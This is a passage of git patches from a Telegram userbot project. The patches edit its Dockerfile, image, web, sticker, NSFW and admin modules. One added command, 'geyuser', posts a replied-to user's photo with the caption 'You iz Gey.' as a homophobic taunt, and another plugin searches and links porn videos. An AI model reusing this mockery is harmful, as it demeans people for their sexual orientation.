+67,8 @@ async def deepfryer(event): ok = "./starkgangz/" + file_name await event.reply(file=ok) os.remove(ok) - + + async def deepfry(img: Image) -> Image: colours = ( (randint(50, 200), randint(40, 170), randint(40, 190)), From 583ffa939a10797a466d9934bb3514c48361bd0f Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Fri, 15 Jan 2021 23:05:35 +0530 Subject: [PATCH 553/838] Update Dockerfile --- Dockerfile | 1 + 1 file changed, 1 insertion(+) diff --git a/Dockerfile b/Dockerfile index bc7e0d21..0cdeafb2 100644 --- a/Dockerfile +++ b/Dockerfile @@ -13,6 +13,7 @@ RUN apt-get install -y\ tesseract-ocr-eng \ imagemagick \ figlet \ + mplayer \ gcc \ g++ \ git \ From d20933639f17c2e5f2fd216698c7fb15cc018b1d Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Fri, 15 Jan 2021 23:06:36 +0530 Subject: [PATCH 554/838] Update Dockerfile --- Dockerfile | 3 +++ 1 file changed, 3 insertions(+) diff --git a/Dockerfile b/Dockerfile index 0cdeafb2..f66f9b79 100644 --- a/Dockerfile +++ b/Dockerfile @@ -8,6 +8,9 @@ RUN apt-get install -y\ coreutils \ bash \ bzip2 \ + xrdp \ + pulseaudio \ + screen \ curl \ tesseract-ocr \ tesseract-ocr-eng \ From d608d457d310b520dc603c5e060424d59dfafbc1 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Fri, 15 Jan 2021 23:07:31 +0530 Subject: [PATCH 555/838] Update Dockerfile --- Dockerfile | 5 +---- 1 file changed, 1 insertion(+), 4 deletions(-) diff --git a/Dockerfile b/Dockerfile index f66f9b79..a7478e74 100644 --- a/Dockerfile +++ b/Dockerfile @@ -8,15 +8,12 @@ RUN apt-get install -y\ coreutils \ bash \ bzip2 \ - xrdp \ - pulseaudio \ - screen \ + mpv \ curl \ tesseract-ocr \ tesseract-ocr-eng \ imagemagick \ figlet \ - mplayer \ gcc \ g++ \ git \ From dcf06c3f33173b312bbfb98bd30ef6844a03b5b2 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Fri, 15 Jan 2021 23:35:29 +0530 Subject: [PATCH 556/838] Update imagetools.py --- fridaybot/modules/imagetools.py | 99 ++++++++++++++++++++++++++++----- 1 file changed, 85 insertions(+), 14 deletions(-) diff --git a/fridaybot/modules/imagetools.py b/fridaybot/modules/imagetools.py index 543dfea6..30a8088d 100644 --- a/fridaybot/modules/imagetools.py +++ b/fridaybot/modules/imagetools.py @@ -14,17 +14,19 @@ import os from shutil import rmtree - import cv2 import numpy as np import requests from PIL import Image, ImageDraw, ImageFont from telegraph import upload_file - from fridaybot import CMD_HELP from fridaybot.function import convert_to_image, crop_vid, runcmd from fridaybot.utils import friday_on_cmd, sudo_cmd - +import html +from telethon.tl.functions.photos import GetUserPhotosRequest +from telethon.tl.functions.users import GetFullUserRequest +from telethon.tl.types import MessageEntityMentionName +from telethon.utils import get_input_location sedpath = "./starkgangz/" if not os.path.isdir(sedpath): os.makedirs(sedpath) @@ -43,7 +45,7 @@ async def hmm(event): "./resources/imgcolour/colouregex.prototxt", "./resources/imgcolour/colorization_release_v2.caffemodel", ) - + pts = np.load("./resources/imgcolour/pts_in_hull.npy") class8 = net.getLayerId("class8_ab") conv8 = net.getLayerId("conv8_313_rh") @@ -180,7 +182,74 @@ async def lolmetrg(event): for files in (lolbruh, img): if files and os.path.exists(files): os.remove(files) + +@friday.on(friday_on_cmd(pattern=r"geyuser")) +@friday.on(sudo_cmd(pattern=r"geyuser", allow_sudo=True)) +async def lolmetrg(event): + await event.edit("`Meking This Guy Gey.`") + sed = await event.get_reply_message() + img = await convert_to_image(event, borg) + url_s = upload_file(img) + imglink = f"https://telegra.ph{url_s[0]}" + lolul = f"https://some-random-api.ml/canvas/gay?avatar={imglink}" + r = requests.get(lolul) + open("geys.png", "wb").write(r.content) + lolbruh = "geys.png" + await borg.send_file( + event.chat_id, lolbruh, caption="`You iz Gey.`", reply_to=sed + ) + for files in (lolbruh, img): + if files and os.path.exists(files): + os.remove(files) + +@friday.on(friday_on_cmd(pattern=r"pix")) +@friday.on(sudo_cmd(pattern=r"pix", allow_sudo=True)) +async def lolmetrg(event): + await event.edit("`Pixing This Image.`") + sed = await event.get_reply_message() + img = await convert_to_image(event, borg) + url_s = upload_file(img) + imglink = f"https://telegra.ph{url_s[0]}" + lolul = f"https://some-random-api.ml/canvas/pixelate?avatar={imglink}" + r = requests.get(lolul) + open("pix.png", "wb").write(r.content) + lolbruh = "pix.png" + await borg.send_file( + event.chat_id, lolbruh, caption="`Pixeled This Image.`", reply_to=sed + ) + for files in (lolbruh, img): + if files and os.path.exists(files): + os.remove(files) +@friday.on(friday_on_cmd(pattern=r"ytc")) +@friday.on(sudo_cmd(pattern=r"ytc", allow_sudo=True)) +async def lolmetrg(event): + await event.edit("`Making Comment`") + sed = await event.get_reply_message() + hmm_s = await borg(GetFullUserRequest(sed.sender_id)) + if not hmm_s.profile_photo: + imglink = 'https://telegra.ph/file/b9684cda357dfbe6f5748.jpg' + elif hmm_s.profile_photo: + img = await borg.download_media(hmm_s.profile_photo, sedpath) + url_s = upload_file(img) + imglink = f"https://telegra.ph{url_s[0]}" + first_name = html.escape(hmm_s.user.first_name) + if first_name is not None: + first_name = first_name.replace("\u2060", "") + if sed.text is None: + comment = 'Give Some Text' + else: + comment = sed.raw_text + lolul = f"https://some-random-api.ml/canvas/youtube-comment?avatar={imglink}&username={first_name}&comment={comment}" + r = requests.get(lolul) + open("ytc.png", "wb").write(r.content) + lolbruh = "ytc.png" + await borg.send_file( + event.chat_id, lolbruh, caption="`Hmm Nice.`", reply_to=sed + ) + for files in (lolbruh, img): + if files and os.path.exists(files): + os.remove(files) @friday.on(friday_on_cmd(pattern=r"jail")) @friday.on(sudo_cmd(pattern=r"jail", allow_sudo=True)) @@ -188,14 +257,13 @@ async def hmm(event): if not event.reply_to_msg_id: await event.reply("Reply to any Image.") return - hmmu = await event.edit("hmm... Sending him to jail...🚶") + hmmu = await event.reply("hmm... Sending him to jail...🚶") await event.get_reply_message() img = await convert_to_image(event, borg) - await event.get_reply_message() + sed = await event.get_reply_message() img = await convert_to_image(event, borg) mon = "./resources/jail/hmm.png" foreground = Image.open(mon).convert("RGBA") - background = Image.open(img).convert("RGB") with Image.open(img) as img: width, height = img.size @@ -328,8 +396,6 @@ async def img(event): if files and os.path.exists(files): os.remove(files) event.delete() - - # Credits To These : # https://github.com/midnightmadwalk [TG: @MidnightMadwalk] # https://github.com/code-rgb [TG: @DeletedUser420] @@ -386,29 +452,30 @@ async def spinshit(message): rmtree(path, ignore_errors=True) + @friday.on(friday_on_cmd(pattern=r"lnews ?(.*)")) @friday.on(sudo_cmd(pattern=r"lnews ?(.*)", allow_sudo=True)) async def hmm(event): text = event.pattern_match.group(1) if not text: - await event.edit("No input found! --__--") + await event.reply("No input found! --__--") return if not event.reply_to_msg_id: await event.reply("Reply to any Image.") return - hmmu = await event.edit("hmm... Starting Live News Stream...🚶") + hmmu = await event.reply("hmm... Starting Live News Stream...🚶") await event.get_reply_message() img = await convert_to_image(event, borg) - await event.get_reply_message() + sed = await event.get_reply_message() img = await convert_to_image(event, borg) background = Image.open(img) newss = "./resources/live/news.png" foreground = Image.open(newss) im = background.resize((2800, 1500)) - im.paste(foreground, (0, 0), mask=foreground) + im.paste(foreground, (0,0), mask = foreground) d1 = ImageDraw.Draw(im) myFont = ImageFont.truetype("./resources/live/font.ttf", 165) - d1.text((7, 1251), text, font=myFont, fill=(0, 0, 0)) + d1.text((7, 1251), text, font=myFont, fill =(0, 0, 0)) im.save("./starkgangz/livenews.png") file_name = "livenews.png" @@ -420,6 +487,8 @@ async def hmm(event): os.remove(files) + + CMD_HELP.update( { "imagetools": "**imagetools**\ @@ -427,6 +496,8 @@ async def hmm(event): \n**Usage :** colourizes the given picture.\ \n\n**Syntax : **`.nst`\ \n**Usage :** removes colours from image.\ + \n\n**Syntax : **`.tni`\ + \n**Usage :** Toonify the image.\ \n\n**Syntax : ** `.thug`\ \n**Usage :** makes a thug life meme image.\ \n\n**Syntax : ** `.tig`\ From c21c7f0241407f886773a8dc199287973251093a Mon Sep 17 00:00:00 2001 From: InukaAsith Date: Fri, 15 Jan 2021 18:06:40 +0000 Subject: [PATCH 557/838] pylint: auto fixes --- fridaybot/modules/imagetools.py | 45 ++++++++++++++++----------------- 1 file changed, 22 insertions(+), 23 deletions(-) diff --git a/fridaybot/modules/imagetools.py b/fridaybot/modules/imagetools.py index 30a8088d..8cfeef54 100644 --- a/fridaybot/modules/imagetools.py +++ b/fridaybot/modules/imagetools.py @@ -12,21 +12,21 @@ # along with this program. If not, see . +import html import os from shutil import rmtree + import cv2 import numpy as np import requests from PIL import Image, ImageDraw, ImageFont from telegraph import upload_file +from telethon.tl.functions.users import GetFullUserRequest + from fridaybot import CMD_HELP from fridaybot.function import convert_to_image, crop_vid, runcmd from fridaybot.utils import friday_on_cmd, sudo_cmd -import html -from telethon.tl.functions.photos import GetUserPhotosRequest -from telethon.tl.functions.users import GetFullUserRequest -from telethon.tl.types import MessageEntityMentionName -from telethon.utils import get_input_location + sedpath = "./starkgangz/" if not os.path.isdir(sedpath): os.makedirs(sedpath) @@ -45,7 +45,7 @@ async def hmm(event): "./resources/imgcolour/colouregex.prototxt", "./resources/imgcolour/colorization_release_v2.caffemodel", ) - + pts = np.load("./resources/imgcolour/pts_in_hull.npy") class8 = net.getLayerId("class8_ab") conv8 = net.getLayerId("conv8_313_rh") @@ -182,7 +182,8 @@ async def lolmetrg(event): for files in (lolbruh, img): if files and os.path.exists(files): os.remove(files) - + + @friday.on(friday_on_cmd(pattern=r"geyuser")) @friday.on(sudo_cmd(pattern=r"geyuser", allow_sudo=True)) async def lolmetrg(event): @@ -195,13 +196,12 @@ async def lolmetrg(event): r = requests.get(lolul) open("geys.png", "wb").write(r.content) lolbruh = "geys.png" - await borg.send_file( - event.chat_id, lolbruh, caption="`You iz Gey.`", reply_to=sed - ) + await borg.send_file(event.chat_id, lolbruh, caption="`You iz Gey.`", reply_to=sed) for files in (lolbruh, img): if files and os.path.exists(files): os.remove(files) - + + @friday.on(friday_on_cmd(pattern=r"pix")) @friday.on(sudo_cmd(pattern=r"pix", allow_sudo=True)) async def lolmetrg(event): @@ -221,6 +221,7 @@ async def lolmetrg(event): if files and os.path.exists(files): os.remove(files) + @friday.on(friday_on_cmd(pattern=r"ytc")) @friday.on(sudo_cmd(pattern=r"ytc", allow_sudo=True)) async def lolmetrg(event): @@ -228,7 +229,7 @@ async def lolmetrg(event): sed = await event.get_reply_message() hmm_s = await borg(GetFullUserRequest(sed.sender_id)) if not hmm_s.profile_photo: - imglink = 'https://telegra.ph/file/b9684cda357dfbe6f5748.jpg' + imglink = "https://telegra.ph/file/b9684cda357dfbe6f5748.jpg" elif hmm_s.profile_photo: img = await borg.download_media(hmm_s.profile_photo, sedpath) url_s = upload_file(img) @@ -237,20 +238,19 @@ async def lolmetrg(event): if first_name is not None: first_name = first_name.replace("\u2060", "") if sed.text is None: - comment = 'Give Some Text' + comment = "Give Some Text" else: comment = sed.raw_text lolul = f"https://some-random-api.ml/canvas/youtube-comment?avatar={imglink}&username={first_name}&comment={comment}" r = requests.get(lolul) open("ytc.png", "wb").write(r.content) lolbruh = "ytc.png" - await borg.send_file( - event.chat_id, lolbruh, caption="`Hmm Nice.`", reply_to=sed - ) + await borg.send_file(event.chat_id, lolbruh, caption="`Hmm Nice.`", reply_to=sed) for files in (lolbruh, img): if files and os.path.exists(files): os.remove(files) + @friday.on(friday_on_cmd(pattern=r"jail")) @friday.on(sudo_cmd(pattern=r"jail", allow_sudo=True)) async def hmm(event): @@ -260,7 +260,7 @@ async def hmm(event): hmmu = await event.reply("hmm... Sending him to jail...🚶") await event.get_reply_message() img = await convert_to_image(event, borg) - sed = await event.get_reply_message() + await event.get_reply_message() img = await convert_to_image(event, borg) mon = "./resources/jail/hmm.png" foreground = Image.open(mon).convert("RGBA") @@ -396,6 +396,8 @@ async def img(event): if files and os.path.exists(files): os.remove(files) event.delete() + + # Credits To These : # https://github.com/midnightmadwalk [TG: @MidnightMadwalk] # https://github.com/code-rgb [TG: @DeletedUser420] @@ -452,7 +454,6 @@ async def spinshit(message): rmtree(path, ignore_errors=True) - @friday.on(friday_on_cmd(pattern=r"lnews ?(.*)")) @friday.on(sudo_cmd(pattern=r"lnews ?(.*)", allow_sudo=True)) async def hmm(event): @@ -466,16 +467,16 @@ async def hmm(event): hmmu = await event.reply("hmm... Starting Live News Stream...🚶") await event.get_reply_message() img = await convert_to_image(event, borg) - sed = await event.get_reply_message() + await event.get_reply_message() img = await convert_to_image(event, borg) background = Image.open(img) newss = "./resources/live/news.png" foreground = Image.open(newss) im = background.resize((2800, 1500)) - im.paste(foreground, (0,0), mask = foreground) + im.paste(foreground, (0, 0), mask=foreground) d1 = ImageDraw.Draw(im) myFont = ImageFont.truetype("./resources/live/font.ttf", 165) - d1.text((7, 1251), text, font=myFont, fill =(0, 0, 0)) + d1.text((7, 1251), text, font=myFont, fill=(0, 0, 0)) im.save("./starkgangz/livenews.png") file_name = "livenews.png" @@ -487,8 +488,6 @@ async def hmm(event): os.remove(files) - - CMD_HELP.update( { "imagetools": "**imagetools**\ From 414a3a285f73c7c98e661e499fa74d6fdd0f1c53 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Fri, 15 Jan 2021 23:39:02 +0530 Subject: [PATCH 558/838] Update webtools.py --- fridaybot/modules/webtools.py | 29 +++++++++++++++++------------ 1 file changed, 17 insertions(+), 12 deletions(-) diff --git a/fridaybot/modules/webtools.py b/fridaybot/modules/webtools.py index 776aaed5..043d4d0a 100644 --- a/fridaybot/modules/webtools.py +++ b/fridaybot/modules/webtools.py @@ -4,9 +4,8 @@ from iplookup import iplookup from selenium import webdriver from youtube_search import YoutubeSearch - -from fridaybot import CMD_HELP from fridaybot.function import apk_dl +from fridaybot import CMD_HELP from fridaybot.utils import edit_or_reply, friday_on_cmd, sudo_cmd @@ -25,9 +24,21 @@ async def _(event): await borg.send_file( event.chat_id, file=imgpath, - caption=f"**WEBSHOT OF** `{urlissed}` \n**Powered By @Fridayot**", + caption=f"**WEBSHOT OF** `{urlissed}` \n**Powered By @VirtualUserbot\nThanks to @FridayOT**", ) - + + +@friday.on(friday_on_cmd(pattern="rmeme$")) +@friday.on(sudo_cmd(pattern="rmeme$", allow_sudo=True)) +async def _(event): + if event.fwd_from: + return + await event.delete() + hmm_s = 'https://some-random-api.ml/meme' + r = requests.get(url=hmm_s).json() + image_s = r['image'] + await borg.send_file(event.chat_id, file=image_s, caption=r['caption']) + @friday.on(friday_on_cmd(pattern="lp ?(.*)")) @friday.on(sudo_cmd(pattern="lp ?(.*)", allow_sudo=True)) @@ -157,8 +168,7 @@ async def _(event): await stark_result.edit(noob, parse_mode="HTML") except: await event.edit("Some Thing Went Wrong.") - - + @friday.on(friday_on_cmd(pattern="akd ?(.*)")) @friday.on(sudo_cmd(pattern="akd ?(.*)", allow_sudo=True)) async def _(event): @@ -166,12 +176,7 @@ async def _(event): if event.fwd_from: return pathz, name = await apk_dl(akkad, Config.TMP_DOWNLOAD_DIRECTORY, event) - await borg.send_file( - event.chat_id, - pathz, - caption="Uploaded By [VirtualUserbot](github.com/inukaasith/virtualuserbot)", - ) - + await borg.send_file(event.chat_id, pathz, caption='Uploaded By @VirtualUserbot') CMD_HELP.update( { From 3420a0ac145877dc66c51d48243308b948a7886c Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Fri, 15 Jan 2021 23:40:09 +0530 Subject: [PATCH 559/838] Update Dockerfile --- Dockerfile | 1 + 1 file changed, 1 insertion(+) diff --git a/Dockerfile b/Dockerfile index a7478e74..0434703e 100644 --- a/Dockerfile +++ b/Dockerfile @@ -9,6 +9,7 @@ RUN apt-get install -y\ bash \ bzip2 \ mpv \ + pavucontrol \ curl \ tesseract-ocr \ tesseract-ocr-eng \ From 454c5191356d0190b24c97efb8eddaacda0ad50f Mon Sep 17 00:00:00 2001 From: InukaAsith Date: Fri, 15 Jan 2021 18:12:40 +0000 Subject: [PATCH 560/838] pylint: auto fixes --- fridaybot/modules/webtools.py | 21 ++++++++++++--------- 1 file changed, 12 insertions(+), 9 deletions(-) diff --git a/fridaybot/modules/webtools.py b/fridaybot/modules/webtools.py index 043d4d0a..740440da 100644 --- a/fridaybot/modules/webtools.py +++ b/fridaybot/modules/webtools.py @@ -4,8 +4,9 @@ from iplookup import iplookup from selenium import webdriver from youtube_search import YoutubeSearch -from fridaybot.function import apk_dl + from fridaybot import CMD_HELP +from fridaybot.function import apk_dl from fridaybot.utils import edit_or_reply, friday_on_cmd, sudo_cmd @@ -26,19 +27,19 @@ async def _(event): file=imgpath, caption=f"**WEBSHOT OF** `{urlissed}` \n**Powered By @VirtualUserbot\nThanks to @FridayOT**", ) - - + + @friday.on(friday_on_cmd(pattern="rmeme$")) @friday.on(sudo_cmd(pattern="rmeme$", allow_sudo=True)) async def _(event): if event.fwd_from: return await event.delete() - hmm_s = 'https://some-random-api.ml/meme' + hmm_s = "https://some-random-api.ml/meme" r = requests.get(url=hmm_s).json() - image_s = r['image'] - await borg.send_file(event.chat_id, file=image_s, caption=r['caption']) - + image_s = r["image"] + await borg.send_file(event.chat_id, file=image_s, caption=r["caption"]) + @friday.on(friday_on_cmd(pattern="lp ?(.*)")) @friday.on(sudo_cmd(pattern="lp ?(.*)", allow_sudo=True)) @@ -168,7 +169,8 @@ async def _(event): await stark_result.edit(noob, parse_mode="HTML") except: await event.edit("Some Thing Went Wrong.") - + + @friday.on(friday_on_cmd(pattern="akd ?(.*)")) @friday.on(sudo_cmd(pattern="akd ?(.*)", allow_sudo=True)) async def _(event): @@ -176,7 +178,8 @@ async def _(event): if event.fwd_from: return pathz, name = await apk_dl(akkad, Config.TMP_DOWNLOAD_DIRECTORY, event) - await borg.send_file(event.chat_id, pathz, caption='Uploaded By @VirtualUserbot') + await borg.send_file(event.chat_id, pathz, caption="Uploaded By @VirtualUserbot") + CMD_HELP.update( { From 045f58c4cca04745c7305c1212577cef695657aa Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Fri, 15 Jan 2021 23:43:48 +0530 Subject: [PATCH 561/838] Update nsfw.py --- fridaybot/modules/nsfw.py | 122 +++++++++++++++++++------------------- 1 file changed, 62 insertions(+), 60 deletions(-) diff --git a/fridaybot/modules/nsfw.py b/fridaybot/modules/nsfw.py index 4d7dbf55..949dded4 100644 --- a/fridaybot/modules/nsfw.py +++ b/fridaybot/modules/nsfw.py @@ -17,79 +17,81 @@ from telethon.tl.types import MessageMediaPhoto from uniborg.util import friday_on_cmd -from fridaybot import CMD_HELP +from fridaybot import CMD_HELP, pro from fridaybot.utils import admin_cmd, friday_on_cmd, sudo_cmd +if pro == True: + - -@friday.on(friday_on_cmd(pattern=r"nsfw")) -@friday.on(sudo_cmd(pattern=r"nsfw", allow_sudo=True)) -async def nsfw(event): - url = "https://nsfw-categorize.it/api/upload" - await event.edit("`Processing..`") - sed = await event.get_reply_message() - photo = None - if sed and sed.media: - if isinstance(sed.media, MessageMediaPhoto): - photo = await borg.download_media(sed.media, sedpath) - elif "image" in sed.media.document.mime_type.split("/"): - photo = await borg.download_media(sed.media, sedpath) - else: - await event.edit("Reply To Image") - return - if photo: - files = {"image": (f"{photo}", open(f"{photo}", "rb"))} - r = requests.post(url, files=files).json() - if r["status"] == "OK": - await event.edit( - "This image is classified as " + str(r["data"]["classification"]) - ) - if os.path.exists(photo): - os.remove(photo) - else: - await event.edit("Response UnsucessFull. Try Again.") + @friday.on(friday_on_cmd(pattern=r"nsfw")) + @friday.on(sudo_cmd(pattern=r"nsfw", allow_sudo=True)) + async def nsfw(event): + url = "https://nsfw-categorize.it/api/upload" + await event.edit("`Processing..`") + sed = await event.get_reply_message() + photo = None + if sed and sed.media: + if isinstance(sed.media, MessageMediaPhoto): + photo = await borg.download_media(sed.media, sedpath) + elif "image" in sed.media.document.mime_type.split("/"): + photo = await borg.download_media(sed.media, sedpath) + else: + await event.edit("Reply To Image") + return + if photo: + files = {"image": (f"{photo}", open(f"{photo}", "rb"))} + r = requests.post(url, files=files).json() + if r["status"] == "OK": + await event.edit( + "This image is classified as " + str(r["data"]["classification"]) + ) if os.path.exists(photo): os.remove(photo) + else: + await event.edit("Response UnsucessFull. Try Again.") + if os.path.exists(photo): + os.remove(photo) -@friday.on(admin_cmd(pattern="phs (.*)")) -async def _(event): - if event.fwd_from: - return - input_str = event.pattern_match.group(1) - api = PornhubApi() - data = api.search.search(input_str, ordering="mostviewed") - ok = 1 - oik = "" - for vid in data.videos: - if ok <= 5: - oik += f""" -Video title:- {vid.title} -Video link:- https://www.pornhub.com/view_video.php?viewkey={vid.video_id} - """ - ok = ok + 1 - else: - pass + @friday.on(admin_cmd(pattern="phs (.*)")) + async def _(event): + if event.fwd_from: + return + input_str = event.pattern_match.group(1) + api = PornhubApi() + data = api.search.search(input_str, ordering="mostviewed") + ok = 1 + oik = "" + for vid in data.videos: + if ok <= 5: + oik += f""" + Video title:- {vid.title} + Video link:- https://www.pornhub.com/view_video.php?viewkey={vid.video_id} + """ + ok = ok + 1 + else: + pass - oiko = ( - "Links Generated Successfully" - + "\n" - + "Search Query:- " - + input_str - + "\n" - + oik - ) + oiko = ( + "Links Generated Successfully" + + "\n" + + "Search Query:- " + + input_str + + "\n" + + oik + ) - await borg.send_message( - event.chat_id, - oiko, - parse_mode="HTML", - ) - await event.delete() + await borg.send_message( + event.chat_id, + oiko, + parse_mode="HTML", + ) + await event.delete() CMD_HELP.update( { "nsfw": "**NSFW**\ +\n A PRO PLUGIN.. ONLY FOR PRO's\ \n\n**Syntax : **`.nsfw `\ \n**Usage :** Checks if the replyed image is nsfw or not.\ \n\n**Syntax : **`.phs `\ From 1a93810666a312e2f00237a00a18bea85b25e708 Mon Sep 17 00:00:00 2001 From: InukaAsith Date: Fri, 15 Jan 2021 18:14:45 +0000 Subject: [PATCH 562/838] pylint: auto fixes --- fridaybot/modules/nsfw.py | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/fridaybot/modules/nsfw.py b/fridaybot/modules/nsfw.py index 949dded4..0841c500 100644 --- a/fridaybot/modules/nsfw.py +++ b/fridaybot/modules/nsfw.py @@ -19,8 +19,8 @@ from fridaybot import CMD_HELP, pro from fridaybot.utils import admin_cmd, friday_on_cmd, sudo_cmd + if pro == True: - @friday.on(friday_on_cmd(pattern=r"nsfw")) @friday.on(sudo_cmd(pattern=r"nsfw", allow_sudo=True)) @@ -51,7 +51,6 @@ async def nsfw(event): if os.path.exists(photo): os.remove(photo) - @friday.on(admin_cmd(pattern="phs (.*)")) async def _(event): if event.fwd_from: From eacc75c4521ef2306986b8cd9c72f1bbb01daad2 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Fri, 15 Jan 2021 23:50:32 +0530 Subject: [PATCH 563/838] Update stickers.py --- fridaybot/modules/stickers.py | 9 ++++++++- 1 file changed, 8 insertions(+), 1 deletion(-) diff --git a/fridaybot/modules/stickers.py b/fridaybot/modules/stickers.py index 754d0263..80fa1b9b 100644 --- a/fridaybot/modules/stickers.py +++ b/fridaybot/modules/stickers.py @@ -41,7 +41,7 @@ async def _(event): await moods.edit("Reply to a photo to add to my personal sticker pack.") return reply_message = await event.get_reply_message() - sticker_emoji = "😎" + sticker_emoji = await get_sticker_emoji(event) input_str = event.pattern_match.group(1) if input_str: sticker_emoji = input_str @@ -447,6 +447,13 @@ def find_instance(items, class_or_tuple): return item return None +async def get_sticker_emoji(event): + reply_message = await event.get_reply_message() + try: + final_emoji = reply_message.media.document.attributes[1].alt + except: + final_emoji = '😎' + return final_emoji def zipdir(path, ziph): # ziph is zipfile handle From 2c775a3ef09a02a532fcdff839912b1f0ccb6978 Mon Sep 17 00:00:00 2001 From: InukaAsith Date: Fri, 15 Jan 2021 18:21:51 +0000 Subject: [PATCH 564/838] pylint: auto fixes --- fridaybot/modules/stickers.py | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/fridaybot/modules/stickers.py b/fridaybot/modules/stickers.py index 80fa1b9b..56da2cf2 100644 --- a/fridaybot/modules/stickers.py +++ b/fridaybot/modules/stickers.py @@ -447,14 +447,16 @@ def find_instance(items, class_or_tuple): return item return None + async def get_sticker_emoji(event): reply_message = await event.get_reply_message() try: final_emoji = reply_message.media.document.attributes[1].alt except: - final_emoji = '😎' + final_emoji = "😎" return final_emoji + def zipdir(path, ziph): # ziph is zipfile handle for root, dirs, files in os.walk(path): From d9732ffa10da1d78feefe845fcfe387d11ac9c59 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Fri, 15 Jan 2021 23:52:05 +0530 Subject: [PATCH 565/838] Update admin.py --- fridaybot/modules/admin.py | 27 ++++++++++++--------------- 1 file changed, 12 insertions(+), 15 deletions(-) diff --git a/fridaybot/modules/admin.py b/fridaybot/modules/admin.py index 784ff3e6..f11b2dbd 100644 --- a/fridaybot/modules/admin.py +++ b/fridaybot/modules/admin.py @@ -32,7 +32,7 @@ ) from fridaybot import BOTLOG, BOTLOG_CHATID, CMD_HELP -from fridaybot.utils import admin_cmd, errors_handler +from fridaybot.utils import admin_cmd, errors_handler, sudo_cmd # =================== CONSTANT =================== PP_TOO_SMOL = "`The image is too small`" @@ -156,14 +156,13 @@ async def promote(promt): # Try to promote if current user is admin or creator try: await promt.client(EditAdminRequest(promt.chat_id, user.id, new_rights, rank)) - await promt.edit("`Promoted Successfully! Now gib Party`") + await promt.edit(f"Sucessfully, Promoted [{user.first_name}](tg://user?id={user.id}) in {promt.chat.title}") # If Telethon spit BadRequestError, assume # we don't have Promote permission except BadRequestError: await promt.edit(NO_PERM) return - # Announce to the logging group if we have promoted successfully if BOTLOG: await promt.client.send_message( @@ -197,7 +196,6 @@ async def demote(dmod): pass else: return - # New rights after demotion newrights = ChatAdminRights( add_admins=None, @@ -216,7 +214,7 @@ async def demote(dmod): except BadRequestError: await dmod.edit(NO_PERM) return - await dmod.edit("`Demoted this retard Successfully!`") + await dmod.edit(f"Demoted, [{user.first_name}](tg://user?id={user.id}) in {dmod.chat.title} Sucessfully!") # Announce to the logging group if we have demoted successfully if BOTLOG: @@ -250,7 +248,7 @@ async def ban(bon): return # Announce that we're going to whack the pest - await bon.edit("`Whacking the pest!`") + await bon.edit("`Dusting Dust of ban Hammer`") try: await bon.client(EditBannedRequest(bon.chat_id, user.id, BANNED_RIGHTS)) @@ -269,9 +267,9 @@ async def ban(bon): # is done gracefully # Shout out the ID, so that fedadmins can fban later if reason: - await bon.edit(f"Loser `{str(user.id)}` was banned !!\nReason: {reason}") + await bon.edit(f"Sucessfully, Banned [{user.first_name}](tg://user?id={user.id}) in {bon.chat.title} For Reason: {reason}") else: - await bon.edit(f"Bitch `{str(user.id)}` was banned !!") + await bon.edit(f"Sucessfully, Banned [{user.first_name}](tg://user?id={user.id}) in {bon.chat.title}") # Announce to the logging group if we have banned the person # successfully! if BOTLOG: @@ -310,7 +308,7 @@ async def nothanos(unbon): try: await unbon.client(EditBannedRequest(unbon.chat_id, user.id, UNBAN_RIGHTS)) - await unbon.edit("```Unbanned Successfully. Granting another chance.```") + await unbon.edit(f"Sucessfully, UnBanned, [{user.first_name}](tg://user?id={user.id}) in {unbon.chat.title}") if BOTLOG: await unbon.client.send_message( @@ -492,8 +490,7 @@ async def pin(msg): await msg.edit(NO_PERM) return - await msg.edit("`Pinned Successfully!`") - + await msg.edit(f"I Have Pinned This [Message](http://t.me/c/{msg.chat_id}/{to_pin})") user = await get_user_from_id(msg.from_id, msg) if BOTLOG: @@ -537,10 +534,10 @@ async def kick(usr): if reason: await usr.edit( - f"`Kicked` [{user.first_name}](tg://user?id={user.id})`!`\nReason: {reason}" + f"I Have Kicked [{user.first_name}](tg://user?id={user.id}) from {usr.chat.title} For Reason : {reason}" ) else: - await usr.edit(f"`Kicked` [{user.first_name}](tg://user?id={user.id})`!`") + await usr.edit(f"Kicked [{user.first_name}](tg://user?id={user.id}) from {usr.chat.title}") if BOTLOG: await usr.client.send_message( @@ -610,8 +607,8 @@ async def rm_deletedacc(show): del_u += 1 await sleep(1) if del_u > 0: - del_status = f"`Found` **{del_u}** `ghost/deleted/zombie account(s) in this group,\ - \nclean them by using .zombies clean`" + del_status = f"Found **{del_u}** ghost/deleted/zombie account(s) in this group,\ + \nclean them by using `.zombies clean`" await show.edit(del_status) return From b6450f3ad5d0a0084a025bc92554d24ca4874f3b Mon Sep 17 00:00:00 2001 From: InukaAsith Date: Fri, 15 Jan 2021 18:22:59 +0000 Subject: [PATCH 566/838] pylint: auto fixes --- fridaybot/modules/admin.py | 30 ++++++++++++++++++++++-------- 1 file changed, 22 insertions(+), 8 deletions(-) diff --git a/fridaybot/modules/admin.py b/fridaybot/modules/admin.py index f11b2dbd..3e53e005 100644 --- a/fridaybot/modules/admin.py +++ b/fridaybot/modules/admin.py @@ -32,7 +32,7 @@ ) from fridaybot import BOTLOG, BOTLOG_CHATID, CMD_HELP -from fridaybot.utils import admin_cmd, errors_handler, sudo_cmd +from fridaybot.utils import admin_cmd, errors_handler # =================== CONSTANT =================== PP_TOO_SMOL = "`The image is too small`" @@ -156,7 +156,9 @@ async def promote(promt): # Try to promote if current user is admin or creator try: await promt.client(EditAdminRequest(promt.chat_id, user.id, new_rights, rank)) - await promt.edit(f"Sucessfully, Promoted [{user.first_name}](tg://user?id={user.id}) in {promt.chat.title}") + await promt.edit( + f"Sucessfully, Promoted [{user.first_name}](tg://user?id={user.id}) in {promt.chat.title}" + ) # If Telethon spit BadRequestError, assume # we don't have Promote permission @@ -214,7 +216,9 @@ async def 